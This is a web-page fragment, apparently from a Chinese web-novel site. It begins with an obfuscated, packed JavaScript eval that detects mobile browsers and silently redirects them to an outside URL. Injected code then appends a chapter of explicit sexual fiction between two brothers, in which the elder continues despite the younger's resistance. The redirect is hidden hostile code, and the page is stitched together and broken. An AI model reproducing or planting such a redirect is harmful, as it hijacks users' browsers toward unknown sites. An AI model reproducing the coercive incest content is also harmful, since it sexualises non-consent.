;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532034|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉结上,落在锁骨窝里。接着裴寂的动作逐渐变得露骨,手指从他的衣摆下滑进去,掌心贴着他肋骨侧面的皮肤往上推,拇指碾过胸口。 裴昭弓起身体,手指攥住身下的床单,听见自己发出一声他从不知道自己的嗓子能发出的声音。 吻继续往下,划过胸骨停在腹部。裴寂抬眼看他,深黑的眼睛里翻涌着不再遮掩的占有欲。 梦里他说了一句话,裴昭听不清,但从口型能认出来——宝宝,我的。 裴昭再次被吓醒,这一次半个身子直接了弹起来,后背全是冷汗,他大口喘气,呆滞地看着稍微昏暗的房间。 耳朵里只有自己剧烈的心跳和粗重的喘息,然后他低下头,闭了闭眼,烦躁地把脸埋进掌心里。 呆了片刻,他掀开被子想再去浴室,依然先把搭在腰上的手拿开。 不过这次才碰到裴寂的手背,那只大手忽然翻过来,一把将他整只手握进了掌心里。 裴昭身体一下子僵住。他哥怎么醒了? 裴寂睁开眼,里面没有一丝才醒的惺忪迷蒙。 他侧过身,另一只手从裴昭后颈穿过去,五指穿过他汗湿的发丝,把裴昭的身体往自己这边带。 凑近,嘴唇贴上去,在裴昭白皙敏感的后颈上落下一吻。灼热的气息从唇缝间漏出来,扑在后颈细嫩的皮肤和碎发上。 裴昭被一团烫人的热气烫得整个人抖了一下,他开口,努力装作镇定:“哥,先放开我,我要去厕所。” 他往前挣了一下,想从裴寂怀里滑出来。腿刚挪了半寸,腰上的手却轻轻松松把他托抱了回去。 裴昭试了试,他哥的手臂纹丝不动,根本移不开,直到靠近裴寂怀里,反应过来的裴昭瞪大眼睛彻底僵硬住不敢再动。 怎么他哥也…… 反倒是裴寂似乎没有察觉,他搂紧弟弟的腰,蹭了蹭弟弟的头发,鼻间充盈着那股甜香,裴寂深吸一气,喟叹一声。 裴昭身体瑟缩一下,一想到被哥哥发现自己此时的情况就害羞得不行,急忙说:“哥你放开。” 没什么力气和威慑力的拒绝,裴寂轻笑一声,不顾弟弟的反抗。 裴昭忍不住哼出一声,随即猛地闭上眼睛。 糟糕,被发现了。 裴昭惊呼:“哥!” 裴寂安抚地亲亲他的额角,裴昭的那点挣扎在他强势的怀抱里,根本没什么作用。 “宝宝,哥哥帮你。”